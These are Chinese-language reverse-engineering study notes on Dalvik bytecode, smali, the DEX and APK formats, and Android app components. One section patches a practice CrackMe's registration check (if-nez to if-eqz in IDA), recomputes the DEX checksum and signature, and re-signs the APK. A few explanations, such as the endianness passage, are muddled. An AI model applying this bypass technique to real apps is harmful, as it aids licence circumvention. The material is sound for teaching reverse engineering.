  • instance-of vA, vB, type@CCCC:用于判断vB寄存器中的对象引用是否可以转换成指定的类型,如果可以就为vA寄存器赋值1,否则为vA寄存器赋值为0
  • new-instance vAA, type@BBBB:指令用于构造一个指定类型对象的新实例,并将对象引用赋值给vAA寄存器。类型符type指定的类型不能是数组类。
  • check-cast/jumbo vAAAA, type@BBBBBBBB指令的功能与check-cast vAA, type@BBBB指令相同,只是前者的寄存器与指令索引的取值范围更大。
  • instance-of/jumbo vAAAA, vBBBB, type@CCCCCCCC指令的功能与instance-of vA, vB, type@CCCC指令相同,只是前者的寄存器与指令索引的取值范围更大。
  • new-instance vAAAA, type@BBBBBBBB:与new-instance vAA, type@BBBB指令相同,只是前者的寄存器与指令索引的取值范围更大。构造一个指定类型对象的新实例,并将对象引用赋值给 vAA 寄存器,类型符 type 指定的类型不能是数组类。

数组操作指令

  • array-length vA, vB:获取vB寄存器中数组的长度并将值赋给vA寄存器。
  • new-array vA, vB, type@CCCC:构造指定类型(type@CCCC)与大小(vB)的数组,并将值赋给 vA 寄存器
  • filled-new-array {vC, vD, vE, vF, vG}, type@BBBB:构造指定类型(type@BBBB)和大小(vA)的数组并填充数组内容。vA 寄存器是隐含使用的,除了指定数组的大小外,还指定了参数的个数,vC~vG 是使用的参数寄存器列表。
  • filled-new-array/range {vCCCC .. vNNNN}, type@BBBB:功能与filled-new-array {vC, vD, vE, vF, vG}, type@BBBB相同。只是参数寄存器使用 range 字节码后缀指定了取值范围,vC 是第一个参数寄存器,N=A+C-1。
  • fill-array-data vAA, +BBBBBBBB:用指定的数据来填充数组,vAA 寄存器为数组引用(引用必须为基础类型的数组),在指令后面紧跟一个数据表。
  • new-array/jumbo vAAAA, vBBBB, type@CCCCCCCC:与new-array vA, vB, type@CCCC指令相同,只是指令索引范围更大。构造指定类型(type@CCCCCCCC)与大小(vBBBB)的数组,并将值赋给 vAAAA 寄存器
  • arrayop vAA, vBB, vCC:对 vBB 寄存器指定的数组元素进行取值和赋值。vCC 寄存器指定数组元素索引,vAA 寄存器用来存放读取的或需要设置的数组元素的值。读取元素使用 aget 类指令,为元素赋值使用 aput 类指令。根据数组中存储的类型指令的不同,在指令后面会紧跟不同的指令后缀。指令包括agetaget-wideaget-object

异常指令

  • throw vAA:抛出 vAA 寄存器中指定类型的异常。

跳转指令

跳转指令用于从当前地址跳转到指定的偏移处。

有三种跳转指令:无条件跳转(goto)、分支跳转(switch)和条件跳转(if)。

  • goto +AA:用于无条件跳转到指定偏移处,偏移量AA不能为0。
  • goto/16 +AAAA:用于无条件跳转到指定偏移处,偏移量AAAA不能为0。
  • goto/32 +AAAAAAAA:无条件跳转到指定偏移处,不能为 0。
  • packed-switch vAA, +BBBBBBBB:分支跳转指令。vAA 寄存器为 switch 分支中需要判断的值,BBBBBBBB 指向一个 packed-switch-payload 格式的偏移表,表中的值是有规律递增的
  • sparse-switch vAA, +BBBBBBBB:分支跳转指令。vAA 寄存器为 switch 分支中需要判断的值,BBBBBBBB 指向一个 sparse-switch-payload 格式的偏移表,表中的值是无规律的偏移量
  • if-test vA, vB, +CCCC:条件跳转指令。比较 vA 寄存器与 vB 寄存器的值,如果比较结果满足就跳转到 CCCC 指定的偏移处,CCCC 不能为 0。if-test 类型的指令有:
    • if-eq:if(vA==vB)
    • if-ne:if(vA!=vB)
    • if-lt:if(vA<vB)
    • if-ge:if(vA>=vB)
    • if-gt:if(vA>vB)
    • if-le:if(vA<=vB)
  • if-testz vAA, +BBBB:条件跳转指令。拿 vAA 寄存器与 0 比较,如果比较结果满足或值为 0 就跳转到 BBBB 指定的偏移处,BBBB 不能为 0。if-testz 类型的指令有:
    • if-eqz:if(!vAA)
    • if-nez:if(vAA)
    • if-ltz:if(vAA<0)
    • if-gez:if(vAA>=0)
    • if-gtz:if(vAA>0)
    • if-lez:if(vAA<=0)

比较指令

对两个寄存器的值进行比较,格式为 cmpkind vAA, vBB, vCC,其中 vBB 和 vCC 寄存器是需要比较的两个寄存器或两个寄存器对,比较的结果放到 vAA 寄存器。指令集中共有5条比较指令:

  • cmpl-float
  • cmpl-double:如果 vBB 寄存器大于 vCC 寄存器,结果为 -1,相等结果为 0,小于结果为 1
  • cmpg-float
  • cmpg-double:如果 vBB 寄存器大于 vCC 寄存器,结果为 1,相等结果为 0,小于结果为 -1
  • cmp-long:如果 vBB 寄存器大于 vCC 寄存器,结果为 1,相等结果为 0,小于结果为 -1

字段操作指令

用于对对象实例的字段进行读写操作。对普通字段与静态字段操作有两种指令集,分别是 iinstanceop vA, vB, field@CCCCsstaticop vAA, field@BBBB。扩展为 iinstanceop/jumbo vAAAA, vBBBB, field@CCCCCCCsstaticop/jumbo vAAAA, field@BBBBBBBB

普通字段指令的指令前缀为 i,静态字段的指令前缀为 s。字段操作指令后紧跟字段类型的后缀。

根据访问的字段类型不同,字段操作指令后面会紧跟字段类型的后缀。例如,iget-byte指令表示读取实例字段的值的类型为字节型,iput-short指令表示设置实例字段的值得类型为短整型。这两类指令的操作结果是一样的,只是指令前缀与操作的字段类型不同。

方法调用指令

用于调用类实例的方法,基础指令为 invoke,有 invoke-kind {vC, vD, vE, vF, vG}, meth@BBBBinvoke-kind/range {vCCCC .. vNNNN}, meth@BBBB 两类。扩展为 invoke-kind/jumbo {vCCCC .. vNNNN}, meth@BBBBBBBB 这类指令。

根据方法类型的不同,共有如下五条方法调用指令:

  • invoke-virtualinvoke-virtual/range:调用实例的虚方法
  • invoke-superinvoke-super/range:调用实例的父类方法
  • invoke-directinvoke-direct/range:调用实例的直接方法
  • invoke-staticinvoke-static/range:调用实例的静态方法
  • invoke-interfaceinvoke-interface/range:调用实例的接口方法

方法调用的返回值必须使用 move-result* 指令来获取,如:

invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
move-result-object v0

数据转换指令

格式为 unop vA, vB,在vB 寄存器或vB寄存器对中存放需要转换的数据,转换后结果保存在 vA 寄存器或 vA寄存器对中。

  • 求补
    • neg-int
    • neg-long
    • neg-float
    • neg-double
  • 求反
    • not-int
    • not-long
  • 整型数转换
    • int-to-long
    • int-to-float
    • int-to-double
  • 长整型数转换
    • long-to-int
    • long-to-float
    • long-to-double
  • 单精度浮点数转换
    • float-to-int
    • float-to-long
    • float-to-double
  • 双精度浮点数转换
    • double-to-int
    • double-to-long
    • double-to-float
  • 整型转换
    • int-to-byte
    • int-to-char
    • int-to-short

数据运算指令

包括算术运算符与逻辑运算指令。算术运算指令主要用于进行数值间的加、减、乘、除、模、移位等运算,逻辑运算指令主要用于进行数值间的与、或、非、异或等运算。

数据运算指令有如下四类:

  • binop vAA, vBB, vCC:将 vBB 寄存器与 vCC 寄存器进行运算,结果保存到 vAA 寄存器。以下类似
  • binop/2addr vA, vB
  • binop/lit16 vA, vB, #+CCCC
  • binop/lit8 vAA, vBB, #+CC

第一类指令可归类为:

  • add-typevBB + vCC
  • sub-typevBB - vCC
  • mul-typevBB * vCC
  • div-typevBB / vCC
  • rem-typevBB % vCC
  • and-typevBB AND vCC
  • or-typevBB OR vCC
  • xor-typevBB XOR vCC
  • shl-typevBB << vCC
  • shr-typevBB >> vCC
  • ushr-type(无符号数)vBB >> vCC

基础字节码后面的-type可以是-int-long-float-double

Smali

编写smali文件

使用smali语法编写Dalvik指令集代码,输出HelloWorld:

.class public LHelloWorld;  #定义类名
.super Ljava/lang/Object;   #定义父类
.method public static main([Ljava/lang/String;)V    #声明静态main()方法
    .registers 4        #程序中使用v0、v1、v2寄存器与一个参数寄存器
    .prologue       #代码起始指令

    #空指令
    nop
    nop
    nop
    nop
    #数据定义指令
    const/16 v0, 0x8
    const/4 v1, 0x5
    const/4 v2, 0x3
    #数据操作指令
    move v1, v2
    #数组操作指令
    new-array v0, v0, [I
    array-length v1, v0
    #实例操作指令
    new-instance v1, Ljava/lang/StringBuilder;
    #方法调用指令
    invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    #跳转指令
    if-nez v0, :cond_0
    goto :goto_0
    :cond_0
    #数据转换指令
    int-to-float v2, v2
    #数据运算指令
    add-float v2, v2, v2
    #比较指令
    cmpl-float v0, v2, v2
    #字段操作指令
    sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
    const-string v1, "Hello World" #构造字符串
    #方法调用指令
    invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
    #返回指令
    :goto_0

    return-void     #返回空
.end method

使用smali工具编译:

java -jar smali-2.3.4.jar assemble '/home/test/Desktop/HelloWorld.smali' -o HelloWorld.dex

开启Android调试的运行环境:

adb push '/home/test/Desktop/androidbook_code/chapter3/HelloWorld/HelloWorld.dex'  /sdcard/

adb shell dalvikvm -cp /sdcard/HelloWorld.dex HelloWorld

Windows中测试也一样:

Dalvik & Smali

在Android中,不像Java的应用程序是在Java虚拟机(JVM)中运行,而是将Java编译为Dalvik可执行(DEX)的字节码文件格式。Android早期版本的字节码由Dalvik虚拟机翻译,对于较新版本的是使用Android Runtime(ART)。

Smali是人类可读版的Dalvik字节码格式。SMALI就像汇编语言,在高级源代码和字节码之间。

HelloWorld的Java代码:

public static void printHelloWorld() {
    System.out.println("Hello World")
}

HelloWorld的Smali代码大概如下:

.method public static printHelloWorld()V
    .registers 2
    sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
    const-string v1, "Hello World"
    invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
    return-void
.end method

Smali指令集在https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions

大多数情况下,逆向Android程序时,不需要在Smail中工作,大多数工具都可以反编译Java。Java反编译工具反编译的代码可能有bug,当反编译的Java代码有问题时,就查看Smail输出,逐行检查指令来确定代码功能。

Android文件格式

APK生成

APK生成分为3个过程:编译过程、打包过程、签名优化过程

classes.dex

classes.dex中包含APK的可执行代码。

1.通过Android SDK/build-tool/api版本号/aidl,
    处理.aidl文件(实现进程间通信),生成对应的Java接口文件
2.通过java编译器javac,
    编译Java源码、R.java和Java接口文件,生成xx.class文件   
3.通过Android SDK/build-tool/api版本号/dx,
    将xx.class文件和第三方xx.class(.jar)类库,合并编译生成classes.dex

编码格式

在Android源码文件dalvik/libdex/DexFile.h中,有DEX文件可能用到的所有数据结构与常量定义。 https://source.android.google.cn/devices/tech/dalvik/dex-format 给的DEX使用的数据类型:

名称 说明
byte 8 位有符号整数
ubyte 8 位无符号整数
short 16 位有符号整数,采用小端字节序
ushort 16 位无符号整数,采用小端字节序
int 32 位有符号整数,采用小端字节序
uint 32 位无符号整数,采用小端字节序
long 64 位有符号整数,采用小端字节序
ulong 64 位无符号整数,采用小端字节序
sleb128 有符号 LEB128,可变长度
uleb128 无符号 LEB128,可变长度
uleb128p1 无符号 LEB128 加 1

Android软件安全权威指南给定的DEX文件使用的数据类型:

自定义类型 原类型 含义
s1 int8_t 8位有符号整型
u1 uint8_t 8位无符号整型
s2 int16_t 16位有符号整型,小端字节序
u2 uint16_t 16位无符号整型,小端字节序
s4 int32_t 32位有符号整型,小端字节序
u4 uint32_t 32位无符号整型,小端字节序
s8 int64_t 64位有符号整型,小端字节序
u8 uint64_t 64位无符号整型,小端字节序
sleb128 有符号 LEB128,可变长度
uleb128 无符号 LEB128,可变长度
uleb128p1 无符号 LEB128 加 1,可变长度

u1~u8为1~8字节的无符号数;s1~s8表示1~8字节的有符号数

在程序中,一般使用32位比特表示一个整型的数值,不过能用到的整数值都不会特别大,使用32比特位表示就过于浪费,特别是对移动设备而言,存储空间和内存空间都非常宝贵。Android的Dalvik虚拟机中就使用了uleb128(Unsigned Little Endian Base 128)、uleb128p1(Unsigned Little Endian Base 128 Plus 1)和sleb128(Signed Little Endian Base 128)编码来解决整形数值占用空间大小浪费的问题(在Dalvik虚拟机中只使用这三种编码来表示32位整形数值)。

计算机领域中,字节序(Byte Ordering)是多字节数据在计算机内存中存储或网络传输时各字节的存储顺序,主要分为小端序(Little endian),另一类是大端序(Big endian)。数据类型为字节型(BYTE)时,其长度为1个字节,保存此类数据时,无论使用大端序还是小端序,字节顺序都是一样的。但数据长度为2个字节以上(含2个字节)时,采用不同字节序保存它们形成的存储顺序是不同的。采用大端序存储数据时,内存地址低位存储数据的高位,内存地址高位存储数据的低位,这是一种直观的字节存储顺序。采用小端序存储数据时,地址高位存储数据的高位,地址低位存储数据的低位,逆序存储方式,保存的字节顺序被倒转,最符合人类思维的字节序。

数据为单一时,无论采用大端序还是小端序保存,字节存储顺序都一样。只有在2两个字节以上时,大端序和小端序的存储顺序不同。还有如abcde被保存在一个字符数组中,字符数组在内存中是连续的,无论采用大端序还是小端序,存储顺序都一样

LEB128(Little-Endian Base 128)表示任意有符号或无符号整数的可变长度编码。该格式借鉴了 DWARF3 规范。在 .dex 文件中,LEB128 仅用于对 32 位数字进行编码。每个 LEB128 编码值均由 1-5 个字节组成,共同表示一个 32 位的值。每个字节均已设置其最高有效位(序列中的最后一个字节除外,其最高有效位已清除)。每个字节的剩余 7 位均为有效负荷,即第一个字节中有 7 个最低有效位,第二个字节中也是 7 个,依此类推。对于有符号 LEB128 (sleb128),序列中最后一个字节的最高有效负荷位会进行符号扩展,以生成最终值。在无符号情况 (uleb128) 下,任何未明确表示的位都会被解译为 0


以字符序列 c0 83 92 25为例, 计算它的 uleb128 值:

  1. 第 1 个字节 0xc0 大于 0x7f 表示需要使用第 2 个字节,即 result1 = 0xc0 & 0x7f
  2. 第 2 个字节 0x83 大于 0x7f 表示需要使用第 3 个字节,即 result2 = result1 + (0x83 & 0x7f) << 7
  3. 第 3 个字节 0x92 大于 0x7f 表示 需要使用第 4 个字节, 即 result3 = result2 + (0x92 & 0x7f) << 14
  4. 第 4 个字节 0x25 小于 0x7f 表示到了结尾, 即result4 = result3 + (0x25 & 0x7f) << 21

计算结果为 0x40 + 0x180 + 0x48000 + 0x4a00000 = 0x4a481c0


再以字符序列d1 c2 b3 40 为例, 计算它的 sleb128 值。

  1. 第 1 个字节 0xd1 大于 0x7f, 表示需要使用第 2 个字节,即 result1 =0xdl & 0x7f
  2. 第 2 个字节 0xc2 大于 0x7f, 表示需要使用第 3 个字节,即 result2 = result 1 + (0xc2 & 0x7f) << 7
  3. 第 3 个字节 0xb3 大于 0x7f 表示需要使用第 4 个字节,即 result3 = result2 + (0xb3 & 0x7f) << 14
  4. 第 4 个字节 0x40 小于 0x7f ,表示到了结尾,即 result4 = ((result3 + (0x40&0x7f) << 21) << 4) >> 4

计算结果为 ((0x51 +0x2100 + 0xcc000 + 0x8000000) << 4 ) >> 4 = 0xf80ce151

注意: LEB128最后是不需要00额外结尾的。

DEX文件结构

参见https://github.com/corkami/pics/blob/master/binary/DEX.png 的Dex文件格式详解图:

参见https://litets.com/article/2019/6/6/405.html的Dex文件格式详解图:

Dex文件是由多个结构体组合而成:

数据名称 解释
header dex文件头部,记录整个dex文件的相关属性
string_ids 字符串数据索引,记录每个字符串在数据区的偏移量
type_ids 类似数据索引,记录每个类型的字符串索引
proto_ids 原型数据索引,记录方法声明的字符串、返回类型字符串、参数列表
field_ids 字段数据索引,记录所属类、类型以及方法名
method_ids 类方法索引,记录方法所属类名、方法声明以及方法名等信息
class_defs 类定义数据索引,记录指定类各类信息,包括接口、超类、类数据偏移量
data 数据区,保存各个类的真实数据
link_data 静态链接数据区

DEX文件由DexFile结构体表示,在/dalvik/libdex /DexFile.h目录中找到定义如下:

struct DexFile {
    /* directly-mapped "opt" header */
    const DexOptHeader* pOptHeader;

    /* pointers to directly-mapped structs and arrays in base DEX */
    const DexHeader*    pHeader;
    const DexStringId*  pStringIds;
    const DexTypeId*    pTypeIds;
    const DexFieldId*   pFieldIds;
    const DexMethodId*  pMethodIds;
    const DexProtoId*   pProtoIds;
    const DexClassDef*  pClassDefs;
    const DexLink*      pLinkData;

    /*
     * These are mapped out of the "auxillary" section, and may not be
     * included in the file.
     */
    const DexClassLookup* pClassLookup;
    const void*         pRegisterMapPool;       // RegisterMapClassPool

    /* points to start of DEX file data */
    const u1*           baseAddr;

    /* track memory overhead for auxillary structures */
    int                 overhead;

    /* additional app-specific data structures associated with the DEX */
    //void*               auxData;
};

DEX样例

创建Java源文件:

public class hw{

    public static void main(String[] argc){
        System.out.println("Hello,World!");
    }
}

使用javac编译成hw.classs文件,再使用~/Android/Sdk/build-tools/29.0.2/dx编译class文件为hw.dex文件,上传到/data/local/tmp/,并使用dalvik虚拟机测试运行成功:

 javac hw.java
 
./dx --dex --output=hw.dex hw.class 

adb push hw.dex /data/local/tmp/

adb shell dalvikvm -cp /data/local/tmp/hw.dex hw

-cp是class path的缩写,后面跟上class名

hw.dex的十六进制概览图:

hw.dex的header 十六进制图:

DexOptHeader是ODEX的头,DexHeader是DEX文件的头部信息,定义如下:

    u1 magic[8]; // 魔数固定 dex 035。035是版本号。 16进制:64 65 78 0A 30 33 35 00
    u4 checksum;  // 校验和
    u1 signature[20]; // 签名
    u4 fileSize;           // 文件大小
    u4 headerSize;         // header的大小 112
    u4 endianTag; // 字节序标记,用于指定dex运行环境的cpu,预设值为0x12345678, 即小字节序:78 56 34 12
    u4 linkSize; // 链接段大小 一直为0
    u4 linkOff; // 链接段的偏移 为0x0
    u4 mapOff; // DexMapList文件的偏移
    u4 stringIdsSize; // 字符串个数
    u4 stringIdsOff; // 字符串的偏移  对应struct DexStringId
    u4 typeIdsSize; // 类型数量
    u4 typeIdsOff; // 类型偏移 对应struct DexTypeId
    u4 protoIdsSize; // 方法原型的个数
    u4 protoIdsOff;  // 偏移 对应struct DexProtoId
    u4 fieldIdsSize; // 字段个数
    u4 fieldIdsOff; // 字段偏移 对应struct DexFieldId
    u4 methodIdsSize; // 方法个数
    u4 methodIdsOff; // 方法偏移 对应struct DexMethodId
    u4 classDefsSize; // 类的个数
    u4 classDefsOff; // 类的偏移 对应struct DexClassDef
    u4 dataSize; // 数据段的大小
    u4 dataOff; // 数据段文件偏移
};

DEX 的Header结构:

字段名称 偏移值 长度 说明
magic 0x0 8 魔数字段,值为dex\n035\0
checksum 0x8 4 校验码
signature 0xc 20 SHA-1签名
file_size 0x20 4 dex文件总长度
header_size 0x24 4 文件头长度,009版本=0x5c;035版本=0x70
endian_tag 0x28 4 标示字节顺序的常量
link_size 0x2c 4 链接段的大小,如果为0就是静态链接
link_off 0x30 4 链接段的开始位置
map_off 0x34 4 map数据基址
string_ids_size 0x38 4 字符串列表中字符串个数
string_ids_off 0x3c 4 字符串列表基址
type_ids_size 0x40 4 类列表里的类型个数
type_ids_off 0x44 4 类列表基址
proto_ids_size 0x48 4 原型列表里面的原型个数
proto_ids_off 0x4c 4 原型列表基址
field_ids_size 0x50 4 字段个数
field_ids_off 0x54 4 字段列表基址
method_ids_size 0x58 4 方法个数
method_ids_off 0x5c 4 方法列表基址
class_defs_size 0x60 4 类定义标中类的个数
class_defs_off 0x64 4 类定义列表基址
data_size 0x68 4 数据段的大小,必须4k对齐
data_off 0x6c 4 数据段基址

(1)magic一般是常量,用来标记DEX文件:

文件标识: dex + 换行符 + DEX版本号 + 0

hw.dex64 65 78 0a 30 33 35 00,表示dex\n035\0

(2)checksum 是对去除 magicchecksum 以外的文件部分作 alder32 算法得到的校验值,用于判断 DEX 文件是否被篡改。hw.dex的其值为6C925ADCh

(3)signature 是对除去 magicchecksumsignature 以外的文件部分作 SHA-1算法校验得到的文件哈希值,其值为24D094332488C3DE4E30C6428DF914C92AD7ADB1

(4)file_size表Dex 文件的大小为02D8,大小为728

(5) header_size表header 区域的大小 ,单位 Byte ,一般固定为 0x70 常量,其值为112:

(6) endianTag 用于标记 DEX 文件是大端表示还是小端表示。由于 DEX 文件是运行在 Android 系统中的,所以一般都是小端表示,这个值也是恒定值 0x12345678:

(7)link_sizelink_off这个两个字段是表示链接数据的大小和偏移值,大多数情况值为0:

(8)map_offmap item 的偏移地址 ,该 item 属于 data 区里的内容 ,值要大于等于 data_off 的大小 。

(8) string_ids_sizestring_ids_off:这两个字段表示dex中用到的所有的字符串内容的大小和偏移值。

string_ids 是一个偏移量数组,stringDataOff 表示每个字符串在 data 区的偏移量。根据偏移量在 data 区拿到的数据中,第一个字节表示的是字符串长度,后面跟着的才是字符串数据。

(9) type_ids_sizetype_ids_off这两个字段表示dex中的类型数据结构的大小和偏移值,比如类类型、基本类型等信息。

(10) proto_ids_sizetype_ids_off这两个字段表示dex中的元数据信息数据结构的大小和偏移值,描述方法的元数据信息,比如方法的返回类型、参数类型等信息。

(11) field_ids_sizefield_ids_off这两个字段表示dex中的字段信息数据结构的大小和偏移值。

(12) method_ids_sizemethod_ids_off这两个字段表示dex中的方法信息数据结构的大小和偏移值。

(13) class_defs_sizeclass_defs_off这两个字段表示dex中的类信息数据结构的大小和偏移值,这个数据结构是整个dex中最复杂的数据结构,内部层次很深,包含了很多其他的数据结构。

(14) data_sizedata_off这两个字段表示dex中数据区域的结构信息的大小和偏移值,这个结构中存放的是数据区域,比如定义的常量值等信息。

其他可参考:

也可参看雪文章中的dex文件格式——思维导图

DEX文件的验证与优化过程

通常,验证与优化DEX文件得最简单且最安全得方法是直接再虚拟机中加载DEX文件,这样一旦程序加载失败,就说明DEX文件未优化或验证失败。

但验证优化工作与需要执行的代码在同一虚拟机中运行会导致部分资源难以从内存中释放。(例如加载的Native动态库)。Android提供的dexopt工具就可以解决该问题,Dalvik虚拟机加载一个DEX文件时,通过指定的验证与优化选项来调用dexopt进行相应的验证与优化操作。

参见http://showmeshell.top/2018/08/17/dex%E6%96%87%E4%BB%B6%E9%AA%8C%E8%AF%81/ 的dexopt的整个验证与优化过程图:

dexopt的整个验证与优化过程图

DEX文件修改

练习中的CrackMe也可以使用该方法实现破解。

反编译apk,搜索报错提示字符串,得到其标签名为unsuccessed,并搜索标签名得到标签id为0x7f0c0028:

java -jar ~/Desktop/tools/apktool_2.4.1.jar d -f app-debug.apk -o outdir

grep -r "无效用户名或注册码"

grep -r unsuccessed

grep -r 0x7f0c0028

使用unzip app-release.apk -d ar/命令解压缩目标apk,得到classes.dex文件:

classes.dex文件拖入IDA:

在IDA使用Alt+T搜索unsuccessed的ID值0x7f0c0028

查找到CODE:0011DEA6处的代码:

查看代码流,向上找到关键点是CODE:0011DE9E行代码:

点击IDA Pro主界面上的Hex View-A选项卡,发现这行代码的指令为39 00 0f 00第一个字节39为if-nez的指令操作码,只需将其改为if-eqz的指令码38即可。(Edit->Patch Program->Change Byte):

依次点击Edit->Patch Program->Apply Patches to input file...,单击ok保存:

修改后的DEX文件的Header部中的checksumsignature字段是错误的,需要修正。(根据DEX文件的合法性验证流程可轻松修改)。

使用非虫的DexFixer.1sc脚本,在010editor编辑器使用:


int endian = ReadInt(0x28); //endian_flag
if (endian == 0x12345678) {
    LittleEndian();
} else {
    BigEndian();
}

uchar sha1[20];
ReadBytes(sha1, 0xc, 20);

Printf("src sha1: ");
uint i=0;
for (i=0; i<20; i++)
{
    Printf("%02x", sha1[i]);
}
Printf("\n");

uchar checksum[20];
ChecksumAlgBytes(CHECKSUM_SHA1, checksum, 0x20);

Printf("calced sha1: ");
for (i=0; i<20; i++)
{
    Printf("%02x", checksum[i]);
}
Printf("\n");


int adler32 = ReadInt(0x8);
if (Memcmp(checksum, sha1, 20) != 0) {
    WriteBytes(checksum, 0xc, 20);
} else {
    Printf("same sha1\n");
}

//uchar adler32_[4];
//ChecksumAlgBytes(CHECKSUM_ADLER32, adler32_, 0xc);
int adler32_ = Checksum(CHECKSUM_ADLER32, 0xc);
Printf("src adler32: %x\n", adler32);
Printf("calced adler32: %x\n", adler32_);

if (adler32_ != adler32) {
    WriteInt(0x8, adler32_);
} else {
    Printf("same adler32\n");
}

Printf("Done.\n");

或者使用dex2jar提供的工具修正:

d2j-dex-recompute-checksum.bat -f ../classes.dex

使用aapt命令删除原apk包中的classes.dex:

./aapt r app-release.apk classes.dex

将修正的classes.dex重新放入APK中——使用aapt添加:

./aapt a app-release.apk classes.dex

将新的apk使用签名工具重新签名,安装成功:

注册成功:

MultiDex

库文件

库文件是一系列代码功能接口与资源数据的有机集合。Android SDK是大量库文件的集合。开发兼容不同版本系统的APK程序时,需要引用Android SDK中不同版本的android.jar文件,也是开发中使用最多的库。

第三软件上提供的地理位置SDK、数据统计SDK、广告SDK都是库文件。

jar包

jar包是一个zip格式的压缩包文件,里面存放着编译后Java代码的class文件集合。

查看android.jar格式及内容:

unzip -l android.jar | less

部分对安全性较高的jar包,会对其包含的class文件进行签名,并将签名信息保存在jar包的META-INF目录下。

分析jar包的方法:

  • 静态分析:使用jd-gui、jadx-gui等工具
  • 动态分析:
    • 在PC平台上,可使用Dtracesoot对jar包中的文件进行运行时跟踪;
    • 在Android上,先将jar包集成到自己编写的APK中,再对需要分析的jar包中的类与方法进行插桩和运行时分析。

aar包

jar包只含其使用的代码,而不包含代码所使用的资源数据;Android Studio将aar文件作为全新的库文件格式,aar除了可以包含代码,还可以包含任何再开发中使用的资源数据。

Android Studio不允许直接创建aar文件,所以需要通过模块的形式再已经存在的APK工程中添加aar文件。新建一个APK空壳工程,并采用默认选项完成设置。然后右键新建名称为mylibrarymodulenew->module->Android Library),并在文件夹下打开终端编译Release版本的aar文件:

./gradlew :mylibrary:aR
file mylibrary-release.aar

./gradlew :mylibrary:aR表示只编译mylib模块的Realse版本,其完整的写法是./gradlew :mylibrary:assembleRelease。编译完成后,会在/mylibrary目录下生成mylibrary-release.aar文件。

aar文件也是zip包,它的目录结构与APK类似:

  • classes.jar包含arr库文件中所有代码生成后的class文件
  • res目录中存放了所有的资源
  • aidl目录中存放了AIDL接口文件
  • assets目录中存放了Asset资源
  • jni目录中存放了编译好的不同版本的so库
  • libs目录中存放了aar包引用的第三方jar包。
  • aar包中还有AndroidManifest.xml用于定义aar包的名称、编译器版本等。

APK目录结构

Android应用程序为APK文件格式,APK实际上是一个ZIP文件,Android SDK 工具会将代码连同任何数据和资源文件编译成一个 APK,即带有 .apk 后缀的归档文件。一个 APK 文件包含 Android 应用的所有内容,它也是 Android 设备用来安装应用的文件。其中的文件结构如下:

  • AndroidManifest.xml:应用程序的配置文件(把APP组件注册到系统中),清单可以定义应用程序及其组件的结构和元数据
  • 唯一的应用包名(如 com.wiley.SomeApp)及版本信息
  • Activity、Service、BroadcastReceiver和插桩定义
  • 权限定义(包括应用请求的权限以及应用自定义的权限)
  • 关于应用使用并一起打包的外部程序库的信息。
  • 其他支持性的指令,比如共用的 UID信息、首选的安装位置和 UI信息(如应用启动时的 图标)等。
  • META-INF/:该目录存放签名文件(APK包SHA1指纹文件/私钥加密的SHA1文件/公钥证书)
  • classes.dex:Dalvik字节码,用于DEX文件格式的应用程序。这是应用程序默认运行的Java(或Kotlin)代码
  • lib/:存放应用程序依赖的native库文件,一般是用C/C++编写,这里的lib库可能包含4中不同类型,根据CPU型号的不同,大体可以分为ARM,ARM-v7a,MIPS,X86,分别对应着ARM架构,ARM-V7架构,MIPS架构和X86架构
  • assets/:存放APP所需的一些静态资源文件。Native库和DEX文件可能放于这,一些恶意程序就会将Native 库和Dalvik代码放在这。
  • res/:程序中使用的资源信息。针对不同分辨率的设备,可使用不同的资源文件。该目录文件会把resources.arsc被映射到R.java文件
  • resources.arsc:此二进制文件包含应用程序所需的所有预编译资源,例如,支持应用程序UI组件的所有XML文件。

Manifest文件中一个特别有趣的部分是 sharedUserId 属性。简单地说,如果两个应用由相同的密钥签名,它们就可以在各自的 Manifest文件中指明同一个用户标识符。在这种情况下,这 两个应用就会在相同的 UID 环境下运行,从而能使这些应用访问相同的文件系统数据存储以及 潜在的其他资源

RES目录

通过Android SDK/build-tool/api版本号/aapt工具,编译res文件和AndroidManifest.xml,
生成R.java、resources.arsc、压缩或编译后的res文件和AndroidManifest.xml

1.R.java存在多个静态内部类的,其中每个静态常量都是res资源ID
2.resources.arsc资源索引表,建立R.java与res映射关系,快速匹配合适当前设备的资源
3.res九大子目录:
    res/animator 存放XML文件,描述属性动画
    res/anim     存放XML文件,描述补间动画
    res/color    存放XML文件,描述颜色状态
    res/drawable 存放图片或XML文件,描述可绘制图片对象(图片文件可能会被压缩)
    res/layout   存放XML文件,描述界面布局
    res/menu     存放XML文件,描述界面菜单
    res/raw      存放任意文件,和assets目录类似,不会被压缩或编译                     
    res/values   存放XML文件,描述数值字符串
        --strings.xml 存放字符串
        --colors.xml  存放颜色
        --dimens.xml  存放尺寸
        --styles.xml  存放样式主题
        --arrays.xml  存放数组
        --attrs.xml   自定义View属性
    res/xml      存放XML文件,描述应用程序配置信息 
4.res/raw和assets区别
    1.res/raw没有子目录,被映射到R.java,可直接用ID访问
        InputStream is = getResources().openRawResource(R.raw.xx文件);        
    2.assets存在子目录,不会被映射到R.java,需要用AssetManager类访问
        InputStream is = getAssets().open("xx文件");

META-INF目录

通过Android SDK/build-tool/api版本号/apksigner,
对APK所有文件签名(除了META-INF),
在META-INF目录生成MANIFEST.MF、CERT.SF、CERT.RSA文件

1.MANIFEST.MF文件
    保存APK所有文件的SHA1指纹信息(除了META-INF),该SHA1指纹未加密!
2.MANIFEST.MF文件
    保存APk所有文件的SHA1指纹信息(除了META-INF),该SHA1指纹被开发者的私钥加密!
3.CERT.RSA文件
    保存APP开发者相关信息和与私钥对应的公钥值

APK字节对齐

通过Android SDK/build-tools/api版本号/zipalign,
    对APK数据进行4字节对齐后,系统用mmap函数读取文件,如同读内存一样方便

程序入口点

逆向工程最重要的就是知道从哪里开始分析,而执行代码的入口点是其中的重要部分。

应用组件是 Android 应用的基本构建块。每个组件都是一个入口点,系统或用户可通过该入口点进入应用。有些组件会依赖于其他组件。

四大组件

共有四种不同的应用组件类型:

  • Activity:Activity是与用户交互的入口点。它表示拥有界面的单个屏幕。
  • 服务:在后台长时间运行,而且不提供用户界面。
  • 广播接收器:在设备系统中接收广播通知的组件。
